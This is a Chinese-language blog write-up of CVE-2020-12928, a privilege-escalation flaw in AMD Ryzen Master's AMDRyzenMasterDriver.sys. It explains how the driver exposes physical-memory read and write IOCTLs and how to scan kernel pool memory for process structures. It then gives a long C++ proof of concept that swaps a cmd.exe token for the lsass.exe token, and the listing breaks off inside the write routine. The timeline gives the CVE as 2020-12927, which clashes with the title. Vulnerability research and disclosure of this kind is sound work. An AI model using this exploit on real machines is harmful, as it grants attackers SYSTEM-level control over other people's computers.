AMD Ryzen Master驱动权限提升漏洞CVE-2020-12928利用分析

本文详细分析了AMD Ryzen Master驱动AMDRyzenMasterDriver.sys中的CVE-2020-12928漏洞,包含物理内存读写原语实现、内核池遍历技术和令牌替换利用方法,提供了完整的PoC代码。

CVE-2020-12928漏洞利用验证:AMD Ryzen Master AMDRyzenMasterDriver.sys权限提升

背景

今年早些时候,我专注于Windows漏洞利用开发,通过学习FuzzySecurity的HackSysExtremeVulnerableDriver教程来学习,最终开始自主寻找漏洞。

我最初在ATI Technologies Inc.的驱动"atillk64.sys"中发现了一个逻辑漏洞。作为Windows驱动漏洞挖掘的新手,我没有意识到该驱动已被Jesse Michael和他的同事Mickey在他们的"Screwed Drivers" GitHub仓库中分析并归类为存在漏洞。

由于不认为这是自己发现的第一个真正漏洞,我决定继续在Windows第三方驱动中寻找类似漏洞,最终在AMD Ryzen Master AMDRyzenMasterDriver.sys版本15中找到了自己的漏洞。

AMD Ryzen Master

AMD Ryzen Master Utility是一款CPU超频工具。该软件支持不断增长的处理器列表,允许用户对其CPU的性能设置进行精细控制。

AMD已在其产品安全页面上发布了关于此漏洞的公告。

漏洞分析概述

此漏洞与我之前的Windows驱动文章非常相似。所有分析均在Windows 10 Build 18362.19h1_release.190318-1202上执行。

我选择此驱动作为目标,因为负责硬件配置或诊断的第三方Windows驱动通常向低权限用户提供可直接读写物理内存的强大例程。

检查权限

安装AMD Ryzen Master后,我首先使用OSR的Device Tree工具定位驱动并检查其权限。Device Tree显示该驱动允许所有认证用户读取和修改驱动。

查找有趣的IOCTL例程

写原语例程

在IDA中搜索MmMapIoSpace返回了多个交叉引用位置。第一个结果sub_140007278看起来非常有趣。

该例程调用MmMapIoSpace,将返回的指针存储在[rsp+48h+BaseAddress]中,并检查返回值是否为NULL。如果有有效指针,则进入左下角的循环例程。

在循环开始时,eax获取[rsp+48h+NumberOfBytes]的值,然后与[rsp+48h+var_24]比较。这看起来像是检查计数器变量是否已达到NumberOfBytes值。

仔细观察循环,ecx本质上是一个计数器,设置为eax和[rsp+48h+var_24]。还有一个从al到[rdx+rcx]的移动操作。单字节被写入rdx + rcx的位置。rdx可能是基地址,rcx是偏移量。

最终,我确定这看起来像是一个逐字节读写内核内存的例程。从MmMapIoSpace返回的指针是al写入的位置(同时跟踪偏移量),因为它最终被移动到rdx用于mov [rdx+rcx], al操作。

通过追踪交叉引用,我最终找到了可能的IOCTL代码。

经过数小时尝试通过所有检查到达写原语例程,我终于能够到达它并获得可靠的BSOD。检查查看了我提供给DeviceIoControl调用的输入和输出缓冲区的大小。

我通过将随机长度的缓冲区(如AAAAAAAABBBBBBBBCCCCCCCC等)串联在一起,并查看程序如何解析我的输入来解决这个问题。最终我发现输入缓冲区结构如下:

  • 输入缓冲区的前8字节是要映射的物理地址
  • 接下来的4字节代表NumberOfBytes参数
  • 最后的8字节是指向要覆盖映射内核内存的缓冲区的指针

非常酷!我们控制了除CacheType之外的所有MmMapIoSpace参数,并且可以指定要复制的缓冲区!

读原语

回到MmMapIoSpace调用的其他交叉引用,我最终找到了例程sub_1400063D0。

这个例程与上一个类似,但主要区别在于:不是将字节从进程空间缓冲区复制到内核缓冲区,而是将字节从内核缓冲区复制到进程空间缓冲区。这是我们的读原语,我能够在IDA中回溯到该IOCTL的交叉引用。

同样,我们控制重要的MmMapIoSpace参数,并且逐字节传输发生在DeviceIoControl输出缓冲区参数的0xC字节偏移处。因此,我们可以告诉驱动从任意地址读取物理内存,任意长度,并将结果发送给我们!

利用

这里我将尝试逐步讲解一些代码片段并解释我的思路。

首先,我们需要理解我在这里寻找什么。我尝试采用与@b33f在其驱动利用中相同的策略,在内核池内存中寻找"Proc"标签。TL;DR是进程信息存储在内核的EPROCESS结构中,对我们重要的成员包括:

  • ImageFileName(进程名称)
  • UniqueProcessId(PID)
  • Token(安全令牌值)

在我的构建中,从结构开始到这些成员的偏移如下:

  • 0x2e8到UniqueProcessId
  • 0x360到Token
  • 0x450到ImageFileName

内核池中的每个数据结构都有各种头:(感谢ReWolf的详细分解):

  • POOL_HEADER结构(我们的"Proc"标签所在位置)
  • OBJECT_HEADER_xxx_INFO结构
  • OBJECT_HEADER,包含EPROCESS结构所在的Body

如b33f所解释,所有开始寻找"Proc"标签的地址都是0x10对齐的,因此每个地址都以0结尾。我们知道在某个以0结尾的任意地址,如果查看

+ 0x4,那里可能是"Proc"标签。

利用读原语

在我的Windows构建上,困难在于从找到的"Proc"标签到我知道所需成员偏移的EPROCESS结构开始处的长度变化很大。为了使利用可靠工作,我只需创建自己的数据结构并将实例存储在向量中。数据结构如下:

1
2
3
4
5
struct PROC_DATA {
    std::vector<INT64> proc_address;
    std::vector<INT64> page_entry_offset;
    std::vector<INT64> header_size;
};

当我使用读原语遍历所有RAM寻找"Proc"时,如果找到"Proc"实例,我将以0x10字节为步长迭代,直到找到标记池头结束和EPROCESS开始的标记。该标记是0x00B80003。

现在,我将有proc_address(“Proc"的确切位置)并将其存储在PROC_DATA.proc_address中,我还将注释该地址距离最近页对齐内存地址(0x1000的倍数)的距离,存储在PROC_DATA.proc_address中,并注释从"Proc"到标记或EPROCESS开始处的距离,存储在PROC.header_size中。这些都存储在向量中。

解析进程

知道找到了多少"Proc"块并将所有相关元数据存储在向量中后,我可以开始第二个例程,使用该元数据检查它们的EPROCESS成员值,看看是否是我关心的进程。

我的策略是找到特权进程(如lsass.exe)的EPROCESS成员,并将其安全令牌与我拥有的cmd.exe进程的安全令牌交换。

利用写原语

我面临的问题是我需要MmMapIoSpace调用是页对齐的,以便调用保持稳定,并且不会得到任何不必要的BSOD。

将内存页想象为一条线: <—————–内存页—————–>

我们只能以页大小块写入;但是,我们要覆盖的值(cmd.exe进程的Token值)很可能不是页对齐的。所以现在我们有: <———令牌——————————->

我可以在Token值的确切地址直接写入,但我的MmMapIoSpace调用不会页对齐。

我所做的是再进行一次读原语调用,将该内存页上的所有内容存储在缓冲区中,然后用lsass.exe的Token覆盖cmd.exe的Token,然后在写原语例程调用中使用该缓冲区。

因此,我不是进行8字节写入来简单地覆盖值,而是选择完全覆盖整个内存页,但只更改8字节,这样MmMapIoSpace调用保持干净。

最终结果

你可以看到下面强制性的完整利用截图。

披露时间线

非常感谢Rapid7的Tod Beardsley在披露过程中的帮助!

  • 2020年5月1日:向供应商通知漏洞
  • 2020年5月1日:供应商确认漏洞
  • 2020年5月18日:供应商提供补丁,将驱动访问限制为管理员组
  • 2020年5月18日-7月11日:关于CVE分配的来回沟通
  • 2020年8月23日:分配CVE-2020-12927
  • 2020年10月13日:联合披露

利用验证代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
#include <iostream>
#include <vector>
#include <chrono>
#include <iomanip>
#include <Windows.h>
using namespace std;

#define DEVICE_NAME         "\\\\.\\AMDRyzenMasterDriverV15"
#define WRITE_IOCTL         (DWORD)0x81112F0C
#define READ_IOCTL          (DWORD)0x81112F08
#define START_ADDRESS       (INT64)0x100000000
#define STOP_ADDRESS        (INT64)0x240000000

// 创建常见SYSTEM进程ImageFileName的十六进制表示向量,例如'wmlms.exe' = hex('exe.smlw')
vector<INT64> SYSTEM_procs = {
    //0x78652e7373727363,         // csrss.exe
    0x78652e737361736c,         // lsass.exe
    //0x6578652e73736d73,         // smss.exe
    //0x7365636976726573,         // services.exe
    //0x6b6f72426d726753,         // SgrmBroker.exe
    //0x2e76736c6f6f7073,         // spoolsv.exe
    //0x6e6f676f6c6e6977,         // winlogon.exe
    //0x2e74696e696e6977,         // wininit.exe
    //0x6578652e736d6c77,         // wlms.exe
};

typedef struct {
    INT64 start_address;
    DWORD num_of_bytes;
    PBYTE write_buff;
} WRITE_INPUT_BUFFER;

typedef struct {
    INT64 start_address;
    DWORD num_of_bytes;
    char receiving_buff[0x1000];
} READ_INPUT_BUFFER;

// 此结构将保存"Proc"标签页面条目的地址、该Proc块的头部大小以及"Proc"标签在页面中的偏移量
struct PROC_DATA {
    std::vector<INT64> proc_address;
    std::vector<INT64> page_entry_offset;
    std::vector<INT64> header_size;
};

struct SYSTEM_TOKENS {
    std::vector<INT64> token_name;
    std::vector<INT64> token_value;
} system_tokens;

INT64 cmd_token_address = 0;

HANDLE grab_handle(const char* device_name) {

    HANDLE hFile = CreateFileA(
        device_name,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        cout << "[!] Unable to grab handle to " << DEVICE_NAME << "\n";
        exit(1);
    }
    else
    {
        cout << "[>] Grabbed handle 0x" << hex
            << (INT64)hFile << "\n";

        return hFile;
    }
}

PROC_DATA read_mem(HANDLE hFile) {

    cout << "[>] Reading through RAM for Proc tags...\n";
    DWORD num_of_bytes = 0x1000;

    LPVOID output_buff = VirtualAlloc(NULL,
        0x100c,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    PROC_DATA proc_data;

    int proc_count = 0;
    INT64 iteration = 0;
    while (true) {

        INT64 start_address = START_ADDRESS + (0x1000 * iteration);
        if (start_address >= 0x240000000) {
            cout << "\n[>] Max address reached.\n";
            cout << "[>] Number of iterations: " << dec << iteration << "\n";
            return proc_data;
        }

        READ_INPUT_BUFFER input_buff = { start_address, num_of_bytes };

        DWORD bytes_ret = 0;

        //cout << "[>] User buffer allocated at: 0x" << hex << output_buff << "\n";
        //Sleep(500);

        if (DeviceIoControl(
            hFile,
            READ_IOCTL,
            &input_buff,
            0x40,
            output_buff,
            0x100c,
            &bytes_ret,
            NULL))
        {
            //cout << "[>] DeviceIoControl succeeded!\n";
        }

        iteration++;

        //DebugBreak();
        INT64 results_begin = ((INT64)output_buff + 0xc);
        for (INT64 i = 0; i < 0xF60; i = i + 0x10) {

            PINT64 proc_ptr = (PINT64)(results_begin + 0x4 + i);
            INT32 proc_val = *(PINT32)proc_ptr;

            if (proc_val == 0x636f7250) {

                for (INT64 x = 0; x < 0xA0; x = x + 0x10) {

                    PINT64 header_ptr = PINT64(results_begin + i + x);
                    INT32 header_val = *(PINT32)header_ptr;

                    if (header_val == 0x00B80003) {

                        proc_count++;
                        cout << "\r[>] Proc chunks found: " << dec <<
                            proc_count << flush;

                        INT64 temp_addr = input_buff.start_address + i;

                        // 此地址可能不是页对齐到0x1000
                        // 因此找出我们距离0x1000的倍数有多远。此值存储在我们的
                        // PROC_DATA结构的page_entry_offset成员中。
                        INT64 modulus = temp_addr % 0x1000;
                        proc_data.page_entry_offset.push_back(modulus);

                        // 这是页对齐地址,小页或大页内存将保存我们的"Proc"
                        // 块。我们将其存储为PROC_DATA中的proc_address成员。
                        INT64 page_address = temp_addr - modulus;
                        proc_data.proc_address.push_back(
                            page_address);
                        proc_data.header_size.push_back(x);
                    }
                }
            }
        }
    }
}

void parse_procs(PROC_DATA proc_data, HANDLE hFile) {

    int system_token_count = 0;
    DWORD bytes_ret = 0;
    DWORD num_of_bytes = 0x1000;

    LPVOID output_buff = VirtualAlloc(
        NULL,
        0x100c,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    for (int i = 0; i < proc_data.header_size.size(); i++) {

        INT64 start_address = proc_data.proc_address[i];
        READ_INPUT_BUFFER input_buff = { start_address, num_of_bytes };

        if (DeviceIoControl(
            hFile,
            READ_IOCTL,
            &input_buff,
            0x40,
            output_buff,
            0x100c,
            &bytes_ret,
            NULL))
        {
            //cout << "[>] DeviceIoControl succeeded!\n";
        }

        INT64 results_begin = ((INT64)output_buff + 0xc);

        INT64 imagename_address = results_begin +
            proc_data.header_size[i] + proc_data.page_entry_offset[i]
            + 0x450; //ImageFileName
        INT64 imagename_value = *(PINT64)imagename_address;

        INT64 proc_token_addr = results_begin +
            proc_data.header_size[i] + proc_data.page_entry_offset[i]
            + 0x360; //Token
        INT64 proc_token = *(PINT64)proc_token_addr;

        INT64 pid_addr = results_begin +
            proc_data.header_size[i] + proc_data.page_entry_offset[i]
            + 0x2e8; //UniqueProcessId
        INT64 pid_value = *(PINT64)pid_addr;

        int sys_result = count(SYSTEM_procs.begin(), SYSTEM_procs.end(),
            imagename_value);

        if (sys_result != 0) {

            system_token_count++;
            system_tokens.token_name.push_back(imagename_value);
            system_tokens.token_value.push_back(proc_token);
        }

        if (imagename_value == 0x6578652e646d63) {
            //cout << "[>] cmd.exe found!\n";
            cmd_token_address = (start_address + proc_data.header_size[i] +
                proc_data.page_entry_offset[i] + 0x360);
        }
    }

    if (system_tokens.token_name.size() != 0 and cmd_token_address != 0) {
        cout << "\n[>] cmd.exe and SYSTEM token information found!\n";
        cout << "[>] Let's swap tokens!\n";
    }
    else if (cmd_token_address == 0) {
        cout << "[!] No cmd.exe token address found, exiting...\n";
        exit(1);
    }
}

void write(HANDLE hFile) {

    DWORD modulus = cmd_token_address % 0x1000;
    INT64 cmd_page = cmd_token_address - modulus;
    DWORD bytes_ret = 0x0;
    DWORD read_num_bytes = modulus;

    PBYTE output_buff = (PBYTE)VirtualAlloc(
        NULL,
        modulus + 0xc,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    READ_INPUT_BUFFER input_buff = { cmd_page, read_num_bytes };

    if (!DeviceIoControl(
        hFile,
        READ_IOCTL,
        &input_buff,
        0x40,
        output_buff,
        modulus + 0xc,
        &bytes_ret,
        NULL))
    {
        cout << "[!] Failed the read operation to copy the cmd.exe page...\n";
        cout << "[!] Last error: " << hex << GetLastError() << "\n";
        exit(1);
    }

    PBYTE results = (PBYTE)((INT64)output_buff + 0xc);
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计